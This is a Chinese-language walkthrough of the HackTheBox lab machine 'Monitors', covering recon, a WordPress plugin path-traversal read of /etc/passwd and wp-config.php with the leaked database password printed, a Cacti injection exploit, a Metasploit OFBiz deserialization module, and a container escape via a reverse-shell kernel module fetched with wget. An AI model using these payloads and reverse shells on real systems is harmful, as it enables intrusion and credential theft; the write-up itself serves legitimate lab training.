Hackthebox - Monitors

靶场信息

靶场类型

信息搜集

Nmap

首先使用nmap进行信息搜集

nmap -A -sS -sC -sV 10.10.10.238
┌──(root💀root)-[~/Desktop]
└─# nmap -A -sS -sC -sV 10.10.10.238

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 03:09 CST
Nmap scan report for 10.10.10.238
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=6/25%OT=22%CT=1%CU=35010%PV=Y%DS=2%DC=T%G=Y%TM=60D4D89
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 239.07 ms 10.10.14.1
2 239.14 ms 10.10.10.238
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.56 seconds

我们可以看到,开启了22和80端口,咱们先去80端口看看

Http

不允许使用IP进行访问,那咱们先添加一下hosts吧

echo 10.10.10.238 monitors.htb > /etc/hosts

然后访问monitors.htb,我们把目光放在右下角Powered by Wordpress

这很明显的是wordpress啊,使用wpscan扫描看看

wpscan --url http://monitors.htb/ -e p,t,u

咱们把目光放在这一行wp-with-spritz

找到了一个exp,咱们进去看看

https://www.exploit-db.com/exploits/44544

漏洞利用

1. Version Disclosure
/wp-content/plugins/wp-with-spritz/readme.txt

2. Source Code
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);

3. Proof of Concept
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec

根据这个exploit给出的验证,咱们试试是否可用

[http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd](http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd)

成功获取/etc/passwd文件

然后只是一个Wordpress的站点,咱们直接试试是否可以查看它的配置文件

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/var/www/wordpress/wp-config.php

成功获得数据库账户密码

DB_NAME = “wordpress”
DB_USER = “wpadmin”
DB_PASSWORD = “BestAdministrator@2020!”

该账户不存在于/etc/passwd内,所以应该是无法直接使用ssh进行登录的,咱们想想有没有其他办法进行getshell

尝试使用该账户登录后台,也不可行,好家伙这是逼我动真格了?

我找到了一篇LFI转RCE的文章

https://infosecwriteups.com/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899

咱们抓个包吧

抓包后将我们自己自定义的1设置为爆破点,然后选择Numbers,设置从1到15

正常来说是会看到一个比较大的包的,但我这里不知道为什么没有,所以我通过其他方式(FUZZ)跑出来了

[http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-available/000-default.conf](http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-available/000-default.conf)

然后咱们获得了另一个域名

cacti-admin.monitors.htb,咱们添加进hosts

echo 10.10.10.238 cacti-admin.monitors.htb >> /etc/hosts

然后咱们访问一下http://cacti-admin.monitors.htb/

这个仙人掌界面,我估计我们之前读取到的账号密码可以起作用了

用户名:admin

密码:BestAdministrator@2020!

可总算是登录进后台了

让我们点一下这个仙人掌检查一下版本

版本1.2.12

在github上找到了一个相关的问题

漏洞编号 CVE-2020-14295

这里是确定存在一个注入漏洞,让我们来尝试一下

使用该exploit

https://www.exploit-db.com/exploits/49810

看看是否可以直接获得一个shell

python3 exploit.py -t http://cacti-admin.monitors.htb -u admin -p "BestAdministrator@2020\!" --lhost 10.10.14.163 --lport 4444

tips:此处密码的感叹号要用反斜杠进行转义,不然会被编译掉

成功获得一个shell

可以使用python3 -c “import pty;pty.spawn(‘/bin/bash’)”;获取一个更加稳定的shell

权限提升

咱们可以看到,只有marcus的目录咱们可以看到,所以咱们肯定是要获取这个用户的权限了

grep 'marcus' /etc -R 2>/dev/null

咱们查找一下相关的文件

咱们找到一个脚本

/home/marcus/.backup/backup.sh

查看一下

咱们获得了一个密码

VerticalEdge2020

应该是marcus用户的密码,咱们去使用ssh登录试试

ssh [marcus@10.10.10.238](mailto:marcus@10.10.10.238)

登录成功

成功获得user权限的flag

咱们查看一下note.txt文件

这个提示提到了docker,那咱们去查看一下docker吧

ps aux|grep docker

我看到一个使用 docker-proxy 运行的 docker 容器。所以我搜索了一些关于 dokcer-proxy 的信息

我找到的参考文本

https://docs.docker.com/network/proxy/

阅读文本后,知道了使用docker-proxy可以通过代理运行docker容器。

知道这个信息后,让我们看看是否有无法从外部访问的端口运行着

netstat -an

有一个8443端口

这应该就是docker-proxy正在侦听的端口了,我们使用ssh创建一个代理隧道

ssh -L 8443:127.0.0.1:8443 [marcus@10.10.10.238](mailto:marcus@10.10.10.238)

然后咱们去访问https://127.0.0.1:8443

会看到有一个tomcat服务器

尝试在Google查找漏洞后,经过努力找到了一个Java 反序列化

https://www.rapid7.com/db/modules/exploit/linux/http/apache_ofbiz_deserialization/

如上所述,我将使用msf直接进行攻击

msfconsole启动msf
exploit/linux/http/apache_ofbiz_deserialization
set rhosts 127.0.0.1
set lhost 10.10.14.163
set lport 5555
set ForceExploit true
exploit

咱们成功利用反序列化漏洞以root权限在docker上获得了一个shell

输入shell进入权限

输入capsh –print查看容器的功能

你们猜猜我发现了啥?

docker具有SYS_MODULE权限。因此,容器可以在docker主机的内核中插入/删除内核模块

然后我搜索了 docker sys_module 的漏洞,还真找到了

https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd?gi=c12387585c2

根据文章提示,我制作了两个脚本

记得修改IP地址和端口,我这里忘记修改了

然后把脚本上传到docker里

python -c "import pty;pty.spawn('/bin/bash')";

首先使用python获得一个稳定的shell

然后进入/root目录

在本地开启一个http服务器

然后使用wget下载两个脚本

输入make all

输出了很多的文件,但我们只需要reverse-shell.ko

首先我们使用nc监听一个端口

nc -nvlp 4444

然后使用insmod reverse-shell.ko运行我们要的文件

成功提权到root

成功获得root权限的flag

收工睡觉

这几天没有更新,是因为被某厂恶心了一把,让我自我怀疑了一下以为我自己真的很菜。

但经过我时候以后发现,其实我更菜!

没想到吧,哎嘿

发现我自己更菜以后,我就可以放心的睡觉了,大家晚安